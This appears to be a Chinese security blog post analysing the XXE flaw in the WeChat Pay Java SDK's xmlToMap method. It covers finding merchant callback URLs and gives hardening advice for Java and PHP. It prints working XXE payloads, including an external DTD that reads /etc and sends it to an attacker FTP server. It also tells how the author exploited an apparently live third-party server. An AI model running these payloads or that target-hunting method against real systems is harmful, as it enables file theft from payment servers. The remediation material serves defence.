首页 > Web安全 > 微信支付Java SDK XXE漏洞实战浅析
2018
07-03

微信支付Java SDK XXE漏洞实战浅析

微信支付SDK JAVA版今天曝出了XXE漏洞,主要原因是在使用DOM处理回传的XML格式的支付结果通知时,未禁用外部实体、参数实体、内联DTD等,导致存在XXE漏洞。

0x01 原理分析

作者原文分析提到在看微信支付JAVA SDK的说明文档时,发现了结果通知代码示例:

import com.github.wxpay.sdk.WXPay;
import com.github.wxpay.sdk.WXPayUtil;

import java.util.Map;

public class WXPayExample {

    public static void main(String[] args) throws Exception {

        String notifyData = "...."; // 支付结果通知的xml格式数据

        MyConfig config = new MyConfig();
        WXPay wxpay = new WXPay(config);

        Map<String, String> notifyMap = WXPayUtil.xmlToMap(notifyData);  // 转换成map

        if (wxpay.isPayResultNotifySignatureValid(notifyMap)) {
            // 签名正确
            // 进行处理。
            // 注意特殊情况:订单已经退款,但收到了支付结果成功的通知,不应把商户侧订单状态从退款改成支付成功
        }
        else {
            // 签名错误,如果数据里没有sign字段,也认为是签名错误
        }
    }

}

其中notifyData是攻击者可控的,再看微信支付JAVA SDK中的WXPayUtil.xmlToMap()方法,代码片段如下:

public class WXPayUtil {

    /**
     * XML格式字符串转换为Map
     *
     * @param strXML XML字符串
     * @return XML数据转换后的Map
     * @throws Exception
     */
    public static Map<String, String> xmlToMap(String strXML) throws Exception {
        try {
            Map<String, String> data = new HashMap<String, String>();
            DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance();
            //未使用setFeature()方法来禁用外部实体、参数实体、内联DTD等。
            DocumentBuilder documentBuilder = documentBuilderFactory.newDocumentBuilder();
            InputStream stream = new ByteArrayInputStream(strXML.getBytes("UTF-8"));
            org.w3c.dom.Document doc = documentBuilder.parse(stream);
            doc.getDocumentElement().normalize();
            NodeList nodeList = doc.getDocumentElement().getChildNodes();
            for (int idx = 0; idx < nodeList.getLength(); ++idx) {
                Node node = nodeList.item(idx);
                if (node.getNodeType() == Node.ELEMENT_NODE) {
                    org.w3c.dom.Element element = (org.w3c.dom.Element) node;
                    data.put(element.getNodeName(), element.getTextContent());
                }
            }
            try {
                stream.close();
            } catch (Exception ex) {
                // do nothing
            }
            return data;
        } catch (Exception ex) {
            WXPayUtil.getLogger().warn("Invalid XML, can not convert to map. Error message: {}. XML content: {}", ex.getMessage(), strXML);
            throw ex;
        }

    }

外部实体可控,攻击者通过向notify_url提交恶意的实体内容notifyData,支付结果处理server对XML数据进行处理的时候导致了漏洞的产生。

0x02 测试方法及利用

该支付SDK在生成订单的时候,会向api.mch.weixin.qq.com提交notifyurl参数,通过抓包有可能获取notifyurl参数的值。为了测试这个漏洞,使用appscan.io搜索关键字,下了n个app,在支付生成订单的时候,进行抓包,能够看到的请求:

POST /pay/unifiedorder HTTP/1.1
Accept: application/json
Content-type: application/json
Content-Length: 453
Host: api.mch.weixin.qq.com
Connection: close

<xml><appid>wx3277506be60ee127</appid><body>750000游戏币</body><detail>购买获得750000游戏币</detail><mch_id>1272031101</mch_id><nonce_str>acff1af62d0f91f4be73f485</nonce_str><notify_url>http://xxxxxx.com/callback</notify_url><out_trade_no>4d2bd9e39af0ab27aeb7c16</out_trade_no><spbill_create_ip>127.0.0.1</spbill_create_ip><total_fee>8000</total_fee><trade_type>APP</trade_type><sign>D0810374A618FF5FA84107</sign></xml>

通过这种方法可以获取到notifyurl,装了很多app,最后发现大多都是微信支付php版的sdk。有部分app通过抓包是无法获取到notifyurl的,猜测反编译app之后可能会搜索到代码中配置的notify_url。不过简单反编译了几个,发现居然都加固了,并且都是同样的加固方式:

微信支付Java SDK XXE漏洞实战浅析 - 第1张  | 阿德马Web安全

从中午一直折腾到下午吃饭,还没有找到可以实战测试的线上app,也就放弃了用这种方式。最后只能耐心的翻github了,翻了大概200页github,找到了n多个地址,不过很多估计都是测试的地址,无法访问,能访问的居然也利用不成功。

吃完晚饭,放弃了去健身房撸铁的想法,继续翻github,再快要放弃的时候终于找到一个可以利用的。使用dnslog和俄罗斯OnSec实验室曾针对Java程序的XXE-OOB攻击作出了相关研究给出的payload,以及一个通过ftp服务读取系统目录的漏洞利用脚本xxe-ftp-server.rb提供的方式,都复现了:

POST /pay/WeixinNotify HTTP/1.1
HOST: api.xxxx.com
Accept: */*
User-Agent: android_6.0_tencent_yingyongbao
Content-Length: 134
Content-Type: application/xml;charset=UTF-8

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
  <!ENTITY % xxe SYSTEM "http://xxxxx.8ug564.ceye.io/">
  %xxe;
]>

微信支付Java SDK XXE漏洞实战浅析 - 第2张  | 阿德马Web安全

另外使用ftp外带的方式可以读取系统的文件,使用网上的利用脚本方法如下:

POST /pay/WeixinNotify HTTP/1.1
HOST: api.xxxxx.com
Accept: */*
User-Agent: android_6.0_tencent_yingyongbao
Content-Length: 180
Content-Type: application/xml;charset=UTF-8

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
 <!ENTITY % aad SYSTEM "http://www.nxadmin.com/xxe/data.dtd">
%aad;
%c;
]>
<a>&rrr;</a>

data.dtd的文件内容如下:

<!ENTITY % d SYSTEM "file:///etc/">
<!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://111.111.111.111:2121/%d;'>">
%c;

然后在自有服务器111.111.111.111上执行ruby脚本,就可以看到收到的读取的被攻击服务器上的目录和文件内容。如图:

微信支付Java SDK XXE漏洞实战浅析 - 第3张  | 阿德马Web安全微信支付Java SDK XXE漏洞实战浅析 - 第4张  | 阿德马Web安全xxe-ftp-server.rb文件的链接如下:

https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb

0x03 修复建议

在编写处理可能不受信任的来源的XML的软件时,要做到尽可能的安全,必须禁用一些XML功能,主要有:

  • DTD解释器,确保DOCTYPE标记被忽略或包含它们的文档被拒绝;
  • 外部实体,如果DOCTYPE不能完全禁用,请确保引用的外部实体被拒绝;
  • schemaLocation,如果解析器包含这个属性,要确保任意文档不会被检索。
  • XIncludes,此功能应被禁用。

JAVA:

JAVA在使用DOM处理xml的时候,要用setFeature参数来禁用外部实体、参数实体、内联DTD等。示例如下:

//未捕获ParserConfigurationException 异常,仅参考
import javax.xml.parsers.DocumentBuilderFactory;        
DocumentBuilderFactory dbf =  DocumentBuilderFactory.newInstance();

//修复方法1:不允许DTDS(DOCTYPE),优先选择的解决方案,几乎可以阻止所有的XML实体攻击
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

//修复方法2:
//true表示实现安全的处理XML,会对XML的结构进行限制,避免出现利用XXE进行文件读取的攻击行为
//如果设置为false,表示根据XML的规范处理XML,忽略安全问题
dbf.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING,true);

//其它说明:如果没办法完全不允许DTDS,至少按照如下方法修复
//该feature的作用是配置是否包含参数实体,设置false禁用参数实体
//xerces 1:http://xerces.apache.org/xerces-j/features.html#external-parameter-entities
//xerces 2:http://xerces.apache.org/xerces2-j/features.html#external-parameter-entities
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

//该feature的功能指是否包含外部生成的实体,设置false禁用外部实体。
//利用外部实体的payload示例:
/*
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxesec [<!ENTITY xxe SYSTEM "http://aaa.8ug564.ceye.io" >]>
<methodname>&xxe;</methodname>
*/   	    	        		   
//xerces 1:http://xerces.apache.org/xerces-j/features.html#external-general-entities
//xerces 2:http://xerces.apache.org/xerces2-j/features.html#external-general-entities
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);

//该feature的功能指是否包含外部DTD,设置false禁用外部Dtd
//xerces:http://xerces.apache.org/xerces-j/features.html#load-external-dtd
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd",false);

feature表示解析器的功能,通过设置feature,可以控制XML解析器的行为,如是否对XML文件进行验证等。

PHP:

php的XML解析器,xmlparse和simplexmlload,xmlparse默认不会解析外部实体,simplexmlload需要自行设置,方法如下:

<code class="language-none">libxml_disable_entity_loader(true);</code>

也可以使用OpenRasp来针对该XXE漏洞进行防护: https://rasp.baidu.com/

0x04 参考文档:

http://seclists.org/fulldisclosure/2018/Jul/3

https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet

修复建议应该是之前在查资料总结的,针对XXE漏洞的修复方法,可能有不准确的地方。至于微信支付java SDK的这个漏洞,直接使用官方的修复后的版本就可以了。

最后编辑:
作者:admin
这个作者貌似有点懒,什么都没有留下。

留下一个回复

你的email不会被公开。